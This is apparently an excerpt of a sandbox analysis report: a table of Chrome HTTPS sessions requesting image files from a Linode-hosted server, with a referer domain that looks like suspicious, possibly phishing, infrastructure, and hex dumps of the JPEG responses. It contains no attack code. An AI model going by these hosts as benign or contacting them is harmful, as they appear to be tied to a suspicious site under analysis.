2024-04-25 19:45:11 UTC	590	OUT	GET /epas/nDKjw0NsxLyvHy0Y HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:11 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:11 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:11 UTC	4125	IN	Data Raw: 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 23 00 db 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: f40JFIFxxCC#"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49767	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:13 UTC	590	OUT	GET /fpas/5uK7sqM5jLLgrgDX HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:13 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:13 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:13 UTC	3395	IN	Data Raw: 64 33 37 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 29 00 b2 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: d37JFIFxxCC)"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49766	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:13 UTC	383	OUT	GET /enc/us9SPB7nWOX2ro45 HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:13 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:13 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:13 UTC	16195	IN	Data Raw: 31 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 90 02 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 1f40JFIFxxCC"}!1AQa"q
2024-04-25 19:45:13 UTC	266	IN	Data Raw: 49 08 dc a1 b0 32 01 c1 c0 cd 17 0d 0a 66 32 0d 0a 03 2b c1 7f 12 bc 33 f1 12 4d 6a 3f 0e 6a f0 ea af a2 df 49 a6 ea 02 10 c3 c8 b8 4f bd 19 c8 19 c6 7a 8c 8f 7a e9 ab 3f 49 f0 fe 97 a0 9b b3 a6 69 b6 7a 71 bc 9d ae ae 7e c9 02 45 e7 4c df 7a 47 da 06 e6 38 19 63 c9 ad 0a 43 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 Data Ascii: I2f2+3Mj?jIOzz?Iizq~ELzG8cC(((((((((((((((((((((((((((((((((((((((((

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49768	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:14 UTC	590	OUT	GET /icod/k0gEEZOfTBiICr1j HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:14 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:14 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:14 UTC	2698	IN	Data Raw: 61 37 65 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 31 00 92 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: a7eJFIFxxCC1"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49769	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:14 UTC	383	OUT	GET /emr/NVljaT1j0fUxaLat HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:14 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:14 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:14 UTC	16195	IN	Data Raw: 31 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 66 02 ef 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 1f40JFIFxxCCf"}!1AQa"q
2024-04-25 19:45:14 UTC	726	IN	Data Raw: f8 44 ef a0 92 c2 79 84 86 25 8e 0d 0a 32 62 64 0d 0a 4c b1 5d ce 3a 0c ba 9f a0 3e 95 db 8f d8 c7 e1 4b 20 71 a4 dd 14 c6 77 7f 68 4b 8c 7a fd ea f5 7f 1a f8 1f 43 f8 89 a0 4d a3 78 82 c2 3d 47 4f 94 86 31 b9 20 ab 0e 8c ac 08 2a c3 d4 1a f2 7b 6f d8 ef c2 30 c6 b6 b2 eb de 2b bb d2 14 f1 a4 4d aa ff 00 a2 ed fe ee d5 40 71 f8 d4 ca 8f be e5 c8 a5 7e e7 4e 1f 3b e6 c1 d1 a3 f5 ba 94 1d 34 d5 a2 9b 52 57 6d 3d 25 1b 4b 5b 3b e8 f4 d4 d1 f1 e7 83 34 2f 00 fe cc de 2c d2 3c 34 bb 74 74 d2 ee a5 87 f7 c6 60 77 82 c4 86 24 e4 64 9a dc fd 9b d4 2f c0 bf 05 00 00 1f d9 e8 78 fa 9a e9 75 8f 87 fa 4e ad e0 1b 9f 07 2a 4b 63 a2 cd 64 74 f0 b6 af f3 c5 16 dd a0 29 60 dc 81 dc 83 56 7c 13 e1 2b 3f 01 f8 4f 4b f0 fd 84 93 cd 65 a7 c2 20 8a 4b 96 0d 23 28 ee c4 00 33 Data Ascii: Dy%2bdL]:>K qwhKzCMx=GO1 {o0+M@q~N;4RWm=%K[;4/,<4tt`w$d/xuNKcdt)`V\|+?OKe K#(3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49770	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:14 UTC	384	OUT	GET /epas/nDKjw0NsxLyvHy0Y HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:14 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:14 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:14 UTC	4125	IN	Data Raw: 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 23 00 db 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: f40JFIFxxCC#"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49771	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:14 UTC	384	OUT	GET /fpas/5uK7sqM5jLLgrgDX HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:14 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:14 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:14 UTC	3395	IN	Data Raw: 64 33 37 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 29 00 b2 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: d37JFIFxxCC)"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49772	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:14 UTC	589	OUT	GET /key/f9DjaQLWUiikwc8f HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:14 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:14 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:14 UTC	5868	IN	Data Raw: 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 39 01 67 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: f40JFIFxxCC9g"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49773	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:14 UTC	384	OUT	GET /icod/k0gEEZOfTBiICr1j HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:14 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:14 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:14 UTC	2698	IN	Data Raw: 61 37 65 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 31 00 92 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: a7eJFIFxxCC1"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49775	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:15 UTC	383	OUT	GET /key/f9DjaQLWUiikwc8f HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:15 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:15 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:15 UTC	5868	IN	Data Raw: 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 39 01 67 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: f40JFIFxxCC9g"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49774	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:15 UTC	590	OUT	GET /noac/nlCQLkXBV0Ryrh8U HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:15 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:15 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:15 UTC	6301	IN	Data Raw: 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 2e 01 4e 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: f40JFIFxxCC.N"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49777	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:15 UTC	384	OUT	GET /noac/nlCQLkXBV0Ryrh8U HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:15 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:15 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:15 UTC	6301	IN	Data Raw: 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 2e 01 4e 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: f40JFIFxxCC.N"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
